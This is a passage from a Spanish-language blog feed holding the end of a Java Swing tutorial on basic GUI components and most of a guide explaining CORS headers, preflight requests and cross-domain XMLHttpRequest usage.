&lt;a href=&quot;http://i.imgur.com/N3A8v.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;208&quot; src=&quot;http://i.imgur.com/N3A8v.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
ya podemos ver nuestra ventana creada con las caracteristicas elegidas. :)&lt;br /&gt;
&lt;h2&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Componentes Basicos&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
Creamos una ventana como la anterior, pero en el contructor agregamos...&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;Label&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Instanciamos un objeto de &lt;b&gt;JLabel&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
JLabel label = new JLabel(); &amp;nbsp;// instanciamos un objeto de JLabel&lt;br /&gt;
label.setText(&quot;Primer Label&quot;); &amp;nbsp;// le agregamos un texto&lt;br /&gt;
add(label); &amp;nbsp;// lo agregamos a la ventana&lt;br /&gt;
&lt;br /&gt;
Por ahora agregaremos los componentes directamente en la ventana, mas adelante veremos como podemos reordenarlos.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://i.imgur.com/s1qSr.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;134&quot; src=&quot;http://i.imgur.com/s1qSr.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;Button&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Instanciamos un objeto de &lt;b&gt;JButton&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
JButton button = new JButton(); &amp;nbsp;// instanciamos un objeto de JLabel&lt;br /&gt;
button.setText(&quot;Primer Boton&quot;); &amp;nbsp;// le agregamos un texto&lt;br /&gt;
add(button); &amp;nbsp;// lo agregamos a la ventana&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://i.imgur.com/d0cnd.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;146&quot; src=&quot;http://i.imgur.com/d0cnd.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;TextEdit&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Instanciamos un objeto de &lt;b&gt;JTextField&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
JTextField text = new JTextField( &quot;Introduzca el texto&quot;, 30 ); &amp;nbsp;// tamaño y texto predeterminado&lt;br /&gt;
text.setEditable( true ); // habilitar el textedit&lt;br /&gt;
add(text); &amp;nbsp;// lo agregamos a la ventana&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://i.imgur.com/MhjfP.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;97&quot; src=&quot;http://i.imgur.com/MhjfP.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
La linea del setEditable lo puse a proposito como para que conozcan otro atributo que pueden cambiar.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;Combobox&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Instanciamos un objeto de &lt;b&gt;JComboBox&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
JComboBox combo = new JComboBox(); &amp;nbsp;// instanciamos un objeto de JComboBox&lt;br /&gt;
combo.addItem(&quot;PrimerElemento&quot;); &amp;nbsp;// agregamos un primer elemento&lt;br /&gt;
combo.addItem(&quot;SegundoElemento&quot;); &amp;nbsp;// agregamos un segundo elemento&lt;br /&gt;
combo.addItem(&quot;TercerElemento&quot;); &amp;nbsp;// agregamos un tercer elemento&lt;br /&gt;
add(combo); &amp;nbsp;// lo agregamos a la ventana&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://i.imgur.com/0QAlo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;86&quot; src=&quot;http://i.imgur.com/0QAlo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;RadioButton&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Instanciamos un objeto de &lt;b&gt;JRadioButton&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
JRadioButton radio = new JRadioButton( &quot;Primer Radio Button&quot;, true ); &amp;nbsp;// instanciamos un objeto de JRadioButton&lt;br /&gt;
add(radio); &amp;nbsp;// lo agregamos a la ventana&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://i.imgur.com/n0inG.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;102&quot; src=&quot;http://i.imgur.com/n0inG.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
El contructor del radiobutton recibe un string como texto del componente y un valor booleano que determina si esta seleccionado o no.&lt;br /&gt;
Ademas si los Radiobutton estas agrupados, por medio de la clase [B]ButtonGroup[/B], solo puede seleccionarse uno a la vez.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;CheckBox&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Instanciamos un objeto de &lt;b&gt;JCheckBox&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Este componente tambien recibe un string como texto del componente y un valor booleano que determina si esta seleccionado o no.&lt;br /&gt;
&lt;br /&gt;
JCheckBox check = new JCheckBox( &quot;Primer CheckBox&quot; , true ); &amp;nbsp;// instanciamos un objeto de JCheckBox&lt;br /&gt;
add(check); &amp;nbsp;// lo agregamos a la ventana&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://i.imgur.com/Z51j6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;108&quot; src=&quot;http://i.imgur.com/Z51j6.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;ListBox&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Instanciamos un objeto de &lt;b&gt;JList&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
String options[] = {&quot;Option 1&quot;,&quot;Option 2&quot; ,&quot;Option N&quot;}; &amp;nbsp;// lista de elementos&lt;br /&gt;
JList list = new JList(options); &amp;nbsp;// instanciamos un objeto de JList&lt;br /&gt;
add(list); &amp;nbsp;// lo agregamos a la ventana&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://i.imgur.com/tBEmx.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;128&quot; src=&quot;http://i.imgur.com/tBEmx.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Y hay muchos mas componentes. Como puede ser:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;JScrollBar&lt;/li&gt;
&lt;li&gt;JSlider&lt;/li&gt;
&lt;li&gt;JProgressBar&lt;/li&gt;
&lt;li&gt;JPasswordField&lt;/li&gt;
&lt;li&gt;JTextArea&lt;/li&gt;
&lt;li&gt;JMenuBar&lt;/li&gt;
&lt;li&gt;JMenu&lt;/li&gt;
&lt;li&gt;JDialog&lt;/li&gt;
&lt;li&gt;JToolTip&lt;/li&gt;
&lt;li&gt;Entre otros&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
Aqui les dejo la Jerarquía de clases real de los componentes Swing.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://i.imgur.com/HfBWw.png&quot;&gt;IMAGEN&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Metodos que se pueden encontrar en los componentes son:&lt;br /&gt;
&lt;br /&gt;
setFont: modifica la fuente del texto.&lt;br /&gt;
setHorizontalAlignment: modifica la alineacion del texto a lo largo del eje X.&lt;br /&gt;
getText(): obtiene el texto del componente.&lt;br /&gt;
setBackground: modifica el color del texto.&lt;br /&gt;
setForeground: modifica el color del fondo.&lt;br /&gt;
&lt;br /&gt;
Esto es todo por ahora, en los proximos encuentros veremos como empezar a ordenar los componentes a nuestro gusto y los eventos.&lt;br /&gt;
&lt;br /&gt;
Saludos. :)&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/4941973867414703062/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/09/interfaz-grafica-en-java-primera-parte.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/4941973867414703062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/4941973867414703062'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/09/interfaz-grafica-en-java-primera-parte.html' title='Interfaz Grafica en Java [Primera parte]'/><author><name>Anonymous</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/blank.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-9013023006559281504</id><published>2012-09-14T07:30:00.002-07:00</published><updated>2012-09-14T07:30:36.590-07:00</updated><title type='text'>Cross-Origin Resource Sharing</title><content type='html'>&lt;br /&gt;
&lt;center&gt;
&lt;span 7=&quot;7&quot; px=&quot;px&quot;&gt;&lt;span impact=&quot;impact&quot;&gt;&lt;u&gt;&lt;i&gt;&lt;b&gt;Guia Cross Origin Resource Sharing&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/center&gt;
&lt;center&gt;
&lt;span 7=&quot;7&quot; px=&quot;px&quot;&gt;&lt;span impact=&quot;impact&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/center&gt;
&lt;br /&gt;
La generalización de AJAX ha supuesto un impulso gigantesco para el desarrollo de aplicaciones web cada vez más importantes. Avanzamos claramente hacia aplicaciones que integran, mediante AJAX, servicios o módulos desarrollados por terceros (Google, Yahoo, Facebook, etc). Sin embargo esta tendencia se ha topado con un problema importante: la política del mismo origen (&lt;em&gt;Same Origin Policy&lt;/em&gt;), que impide que se puedan realizar peticiones HTTP desde JavaScript a un dominio diferente.&lt;br /&gt;
Además de diferentes &lt;em&gt;hacks&lt;/em&gt; que se han ido desarrollando con el tiempopara rodear el problema, existe una especificación del W3C parasolucionarlo: &lt;strong&gt;Cross-Origin Resource Sharing&lt;/strong&gt; (CORS), que podriamostraducir como “Compartición de Recursos entre Origenes”.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Política del Mismo Origen&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;&lt;br /&gt;&lt;/em&gt;
&lt;em&gt;Same Origin Policy &lt;/em&gt;es una importante &lt;strong&gt;medida de seguridad&lt;/strong&gt; queimplementan actualmente todos los navegadores. Significa que una web sólo puede utilizar el objeto XMLHttpRequest parahacer peticiones HTTP &lt;strong&gt;AJAX&lt;/strong&gt; al mismo domino desde el que se cargó lapágina original. Las peticiones a dominios diferentes serán descartadas.&lt;br /&gt;
&lt;img alt=&quot;sameOriginPolicy.png&quot; src=&quot;http://www.quimeraazul.com/tutoriales/wp-content/uploads/sameOriginPolicy.png&quot; /&gt;&lt;br /&gt;
Same Origin Policy impide comunicación AJAX entre origenes diferentes&lt;br /&gt;
¿Qué se entiende por un dominio diferente? además del evidente nombredel dominio, tampoco se permite comunicación si cambia el protocolo (porejemplo de http a https) o el puerto.&lt;br /&gt;
&lt;img alt=&quot;url.png&quot; src=&quot;http://www.quimeraazul.com/tutoriales/wp-content/uploads/url.png&quot; /&gt;&lt;br /&gt;
Origen: protocolo, dominio y puerto&lt;br /&gt;
Esto quiere decir que tampoco nos funcionará una petición desde unapágina cargada de http:&lt;a href=&quot;http://www.blogger.com/www.miweb.com&quot;&gt;www.miweb.com&lt;/a&gt; a https:&lt;a href=&quot;http://www.blogger.com/www.miweb.com&quot;&gt;www.miweb.com&lt;/a&gt;. Aunque en estecaso lo único que cambia es que utilizamos el protocolo seguro https,pero no es posible.&lt;br /&gt;
La necesidad de poder hacer estas peticiones como parte de las aplicaciones actuales ha llevado a buscar varias soluciones:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;JSONP&lt;/li&gt;
&lt;li&gt;Servidor Proxy&lt;/li&gt;
&lt;li&gt;uso de iFrames&lt;/li&gt;
&lt;li&gt;CORS&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Las tres primeras son en realidad diferentes formas de ‘rodear’ el problema en vez de solucionarlo, sólo &lt;strong&gt;CORS trata de definir un estándar&lt;/strong&gt; para crear una forma de comunicación por AJAX entre diferentes dominios.&lt;br /&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;¿En qué consiste el estándar Cross-Origin Resource Sharing?&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
El estándar propone incluir &lt;strong&gt;nuevas cabeceras HTTP&lt;/strong&gt; en la comunicacióncliente-servidor para saber si se debe enviar (servidor) o mostrar(navegador) un recurso concreto, en función del origen de la petición.&lt;br /&gt;
Laidea es que mediante la información que se intercambia en las cabecerasHTTP el servidor y el navegador puedan decidir si esa petición, desdeese origen, puede permitirse.&lt;br /&gt;
EL navegador, cuando se va arealizar una petición asíncrona a un dominio diferente, debe incluirautomáticamente la cabecera ORIGIN en la petición:Quote:&lt;br /&gt;
&lt;blockquote&gt;
Origin: &lt;a href=&quot;http://www.sitio1.com/&quot;&gt;http://www.sitio1.com&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Esta cabecera indicará al servidor el dominio desde el que se está haciendo la petición (desde el que se recibió la página original). El servidor tendrá una lista de dominios permitidos y, si este está en la lista, devolverá el recurso solicitado incluyendo en la respuesta la nueva cabecera Access-Control-Allow-Origin:Quote:&lt;br /&gt;
&lt;blockquote&gt;
Access-Control-Allow-Origin: &lt;a href=&quot;http://www.sitio1.com/&quot;&gt;http://www.sitio1.com&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Con esta cabecera el servidor indica el &lt;em&gt;origen&lt;/em&gt; al que le permite leer este contenido. El navegador siempre comprobará esta cabecera. Si no se recibe o no indica el dominio correcto, bloqueará la respuesta para no permitir acceso al DOM a ningún script procedente de un dominio ‘extraño’.&lt;br /&gt;
Este es el funcionamiento básico. El estándar define también otro tipo de petición más compleja, que requiere un intercambio previo de cabeceras para decidir si puede enviarse. Vamos a ver a continuación los dos casos en detalle.&lt;br /&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;Petición simple&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
Una petición se considera simple cuando:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Utilizamos el método GET&lt;/li&gt;
&lt;li&gt;Utilizamos POST para enviar datos pero el tipo de contenido (Content-Type) es: application/x-www-form-urlencoded, multipart/form-data, o text/plain&lt;/li&gt;
&lt;li&gt;No incluimos cabeceras HTTP personalizadas en la petición&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
En este caso el procedimiento es tan simple como el que hemos descrito antes.&lt;br /&gt;
Supongamosque vamos a hacer una petición GET mediante AJAX, utilizando el objetoXMLHttpRequest, desde una página cargada de &lt;em&gt;&lt;a href=&quot;http://www.blogger.com/www.sitio1.com&quot;&gt;www.sitio1.com&lt;/a&gt;&lt;/em&gt;. El destinode la petición es &lt;em&gt;&lt;a href=&quot;http://www.blogger.com/www.sitio2.com/utilidad.php&quot;&gt;www.sitio2.com/utilidad.php&lt;/a&gt;&lt;/em&gt;&lt;br /&gt;
El navegadorincluirá automáticamente la nueva cabecera HTTP ORIGIN al detectar unintento de comunicación a un dominio diferente.&lt;br /&gt;
La petición HTTP, entre otras cabeceras, enviará:Quote:&lt;br /&gt;
&lt;blockquote&gt;
GET /utilidad.php HTTP/1.1Host: &lt;a href=&quot;www.sitio2.com...origin:&quot;&gt;www.sitio2.com...Origin:&lt;/a&gt; &lt;a href=&quot;http://www.sitio1.com/&quot;&gt;http://www.sitio1.com&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
La última linea es la que incluyen los navegadores que soportan el nuevoestándar, indicando al servidor que esta petición llega desde contenidocargado desde otro dominio (&lt;a href=&quot;http://www.blogger.com/www.sitio1.com&quot;&gt;www.sitio1.com&lt;/a&gt;).&lt;br /&gt;
El servidor comprobará que el dominio &lt;a href=&quot;http://www.blogger.com/www.sitio1.com&quot;&gt;www.sitio1.com&lt;/a&gt; está en la lista de aceptados y enviará la respuesta, por ejemplo:Quote:&lt;br /&gt;
&lt;blockquote&gt;
HTTP/1.1 200 OK...Access-Control-Allow-Origin: &lt;a href=&quot;http://www.sitio1.com/&quot;&gt;http://www.sitio1.com&lt;/a&gt;[Data]&lt;/blockquote&gt;
&lt;br /&gt;
La cabecera Access-Control-Allow-Origin se incluye como parte de CORS, para indicar al navegador que esta información puede ser leido por el origen indicado. Si esta cabecera no aparece o el origen indicado no es el de la página cargada, el navegador bloqueará la respuesta.&lt;br /&gt;
Este tipo de peticiones simples son soportadas por los navegadores mayoritarios (Internet Explorer 8+, Firefox 3.5+, Safari 4+, and Chrome) y pueden ser suficientes para utilizar servicios públicos de terceros.&lt;br /&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;Petición con verificación previa (preflighted)&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
El estándar propone que para peticiones más complejas, que incluyancabeceras HTTP personalizadas, métodos HTTP diferentes de GET o POST ocon Content-Type diferente de los tres listados anteriormente (porejemplo &lt;em&gt;application/xml&lt;/em&gt;), se haga una verificación previa.&lt;br /&gt;
Laidea es utilizar este método para todas las peticiones que puedanimplicar cambios en datos almacenados en el servidor. Este tipo depeticiones se hacen en dos pasos:&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;Determinar, utilizando la cabecera OPTIONS, si la petición se puede mandar&lt;/li&gt;
&lt;li&gt;Enviar la petición&lt;/li&gt;
&lt;br /&gt;
En la primera parte del proceso, el navegador informará al servidor,mediante cabeceras, de los métodos y cabeceras personalizadas que va autilizar en la petición para ver si el servidor las acepta. Tambiénindicará si pretende enviar información de autenticación o cookies, pero esto lo veremos en otro apartado.&lt;br /&gt;
Un ejemplo de petición podría ser este:Quote:&lt;br /&gt;
&lt;blockquote&gt;
OPTIONS /utilidad.php HTTP/1.1Host: &lt;a href=&quot;www.sitio2.com...origin:&quot;&gt;www.sitio2.com...Origin:&lt;/a&gt; &lt;a href=&quot;http://www.sitio1.comaccess-control-request-method/&quot;&gt;http://www.sitio1.comAccess-Control-Request-Method:&lt;/a&gt; POSTAccess-Control-Request-Headers: X-CUSTOM&lt;/blockquote&gt;
&lt;br /&gt;
OPTIONS no es en realidad una cabecera nueva, forma parte del estándarHTTP 1.1 y se utiliza para obtener más información sobre lasopciones que soporta el servidor.&lt;br /&gt;
Las tres últimas cabeceras síson particulares de CORS y, en este caso, indicarían que se pretendeenviar una petición desde el origen &lt;em&gt;&lt;a href=&quot;http://www.blogger.com/www.sitio1.com&quot;&gt;www.sitio1.com&lt;/a&gt;&lt;/em&gt;, utilizando el método POST eincluyendo la cabecera personalizada X-CUSTOM. El servidor responderáindicando las cabeceras y métodos que permite para este origen.&lt;br /&gt;
La respuesta podría ser algo así:Quote:&lt;br /&gt;
&lt;blockquote&gt;
HTTP/1.1 200 OK...Access-Control-Allow-Origin: &lt;a href=&quot;http://www.sitio1.comaccess-control-allow-methods/&quot;&gt;http://www.sitio1.comAccess-Control-Allow-Methods:&lt;/a&gt; POST, GET, OPTIONSAccess-Control-Allow-Headers: X-CUSTOMAccess-Control-Max-Age: 1500000Content-Type: text/plain&lt;/blockquote&gt;
&lt;br /&gt;
Viendo estas cabeceras el navegador sabe que puede enviar la petición y que el servidor la acepta. &lt;em&gt;Access-Control-Max-Age&lt;/em&gt; sirve para indicar el tiempo, en segundos, durante el que esta misma petición puede hacerse directamente, sin el proceso de &lt;em&gt;preflight&lt;/em&gt;.&lt;br /&gt;
A continuación se enviará la petición real, incluyendo la cabecera ORIGIN y el servidor enviará la respuesta incluyendo la cabecera &lt;em&gt;Access-Control-Allow-Origin: &lt;a href=&quot;http://www.sitio1.com/&quot;&gt;http://www.sitio1.com&lt;/a&gt;&lt;/em&gt; como en una petición simple.&lt;br /&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;El nuevo XMLHttpRequest de nivel 2&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Las peticiones AJAX se realizan a través del objeto XMLHttpRequest (XHR). Era necesario actualizarlo para permitir las comunicaciones inter-dominios en los casos y las condiciones que contempla el estándar &lt;em&gt;Cross-Origin Resource Sharing&lt;/em&gt;. Estas nuevas capacidades, junto con algunas más, se definen en el estándar &lt;a href=&quot;http://www.w3.org/TR/XMLHttpRequest2/&quot;&gt;XMLHttpRequest Nivel 2&lt;/a&gt;.&lt;br /&gt;
Microsoft ha decidido, una vez más, no seguir los estándares e implementar la funcionalidad de CORS mediante un objeto diferente llamado XDomainRequest (XDR), en vez de aumentar las capacidades de XMLHttpRequest. Mas adelante veremos las limitaciones que esto supone.&lt;br /&gt;
Afortunadamente los métodos y propiedades que debemos utilizar son comunes por lo que sólo tenemos que decidir qué objeto instanciamos. El &lt;em&gt;interface&lt;/em&gt; que podemos usar con cualquiera de los dos objetos es el siguiente:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;abort()&lt;/strong&gt; – detiene una petición en marcha&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;onerror&lt;/strong&gt; – para asignar el callback que se dispara en caso de error&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;onload&lt;/strong&gt; – para asignar el callback que se dispara en caso de éxito&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;open()&lt;/strong&gt; – establece el método y URL para la petición HTTP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;responseText&lt;/strong&gt; – propiedad en la que se almacenan los datos de la respuesta&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;send()&lt;/strong&gt; – Para enviar la petición&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Un ejemplo sencillo de cómo podriamos usar el objeto XHR en una petición a un dominio diferente sería:Quote:&lt;br /&gt;
&lt;blockquote&gt;
var xhrObject = new XMLHttpRequest();xhrObject.open(&quot;get&quot;, &quot;http://www.sitio2.com/utilidad.php&quot;);xhrObject.onload = function(){alert(xhrObjet.responseText)};xhrObject.send(null);&lt;/blockquote&gt;
&lt;br /&gt;
El objeto XHR se crea normalmente, y se utiliza &lt;em&gt;open()&lt;/em&gt; y &lt;em&gt;send()&lt;/em&gt; igual que para peticiones normales. La diferencia es que el evento que se dispara cuando la petición se ha recibido con éxito es &lt;em&gt;load&lt;/em&gt;. Por eso definimos nuestra función callback para manejar el resultado en &lt;em&gt;xhrObject.onload&lt;/em&gt;. Para una llamada AJAX normal, en el dominio propio, definiriamos el callback en &lt;em&gt;xhrObject.onreadystatechange&lt;/em&gt;&lt;br /&gt;
En este ejemplo, cuando la petición se completa, mostramos los datos que hemos recibido en &lt;em&gt;xhrObjet.responseText&lt;/em&gt; con un &lt;em&gt;alert()&lt;/em&gt;.&lt;br /&gt;
El objeto XDomainRequest del IE se utilizaría exactamente igual:Quote:&lt;br /&gt;
&lt;blockquote&gt;
var xdrObject = new XDomainRequest();xdrObject.open(&quot;get&quot;, &quot;http://www.sitio2.com/utilidad.php&quot;);xdrObject.onload = function(){alert(xdrObjet.responseText)};xdrObject.send(null);&lt;/blockquote&gt;
&lt;br /&gt;
En un caso real no es necesario duplicar el código, símplemente tenemos que detectar qué objeto debemos crear.&lt;br /&gt;
Para saber si el navegador en el que estamos soporta el nuevo objeto XHR, con las capacidades CORS, comprobaremos si el objeto tiene definida la propiedad withCredentials, exclusiva del XHR nivel 2 y que más adelante veremos cómo se utiliza. Si el resultado es negativo debemos preguntar si existe el objeto XDomainRequest para saber si estamos en alguna versión del IE con soporte CORS. Si el resultado también es negativo, no tenemos soporte para peticiones AJAX inter-dominios.&lt;br /&gt;
El ejemplo anterior, con un código único sería:Quote:&lt;br /&gt;
&lt;blockquote&gt;
/Función para encapsular la detección del objeto que tenemos que usar para AJAX inter-dominios, según el navegador en el que estemos.function createCorsObject(){/Inicialmente creamos XHRvar xhrObject = new XMLHttpRequest();/comprobamos si XHR tiene capacidades CORS o es el antiguoif (&quot;withCredentials&quot; in xhrObject){return xhrObject;}/si es el antiguo, comprobamos si el navegador soporta el objeto XDRelse if (typeof XDomainRequest != &quot;undefined&quot;){xhrObject = new XDomainRequest();} else {xhrObject = null;}return xhrObject;}/obtenemos un objeto para AJAX cross-dominiovar xhrObject = createCorsObject();/si tenemos un objeto válido...if (xhrObject){/definimos los parámetros de la petición HTTPxhrObject.open(&quot;get&quot;, &quot;http://www.sitio2.com/utilidad.php&quot;);/definimos un callback para tratar los datos que recibamosxhrObject.onload = function(){alert(xhrObjet.responseText)};/definimos un callback para tratar el caso de errorxhrObject.onerror = function(){/ código para caso de error};/Enviamos la peticiónxhrObject.send(null);}&lt;/blockquote&gt;
&lt;br /&gt;
Creo que los comentarios del código son suficiente para explicarlo. En este caso la novedad es que hemos definido también una función para tratar errores.&lt;br /&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;Peticiones con cookies o autentificación&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Las cookies o la información de autentificación (certificados SSL ocabeceras HTTP de autenticación) no se envía nunca por defecto para estetipo de comunicación. Existe una propiedad del objeto XHR nivel 2 (elque implementan los navegadores que soportan CORS) que sirve paraindicar que queremos enviar y recibir este tipo de información:Quote:&lt;br /&gt;
&lt;blockquote&gt;
XHR.withCredentials = true;&lt;/blockquote&gt;
&lt;br /&gt;
Si el servidor permite el envío de este tipo de información para peticiones desde este origen lo indicará en la respuesta incluyendo una cabecera HTTP especial:Quote:&lt;br /&gt;
&lt;blockquote&gt;
Access-Control-Allow-Origin:&lt;a href=&quot;http://www.sitio1.comaccess-control-allow-credentials/&quot;&gt;http://www.sitio1.comAccess-Control-Allow-Credentials:&lt;/a&gt; true&lt;/blockquote&gt;
&lt;br /&gt;
Para estos casos, la cabecera &lt;em&gt;Access-Control-Allow-Origin&lt;/em&gt; debe indicar el origen exacto, no puede indicarse un origen genérico mediante ‘*’.&lt;br /&gt;
El Internet Explorer 8 no soporta esta funcionalidad. &lt;strong&gt;El objeto XDR, propietario del IE, ni siquiera incluye la propiedad withCredentials&lt;/strong&gt;. Nunca se enviarán cookies ni información de autenticación para este tipo de comunicación.&lt;br /&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;Las limitaciones de XDomainRequest (IE)&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
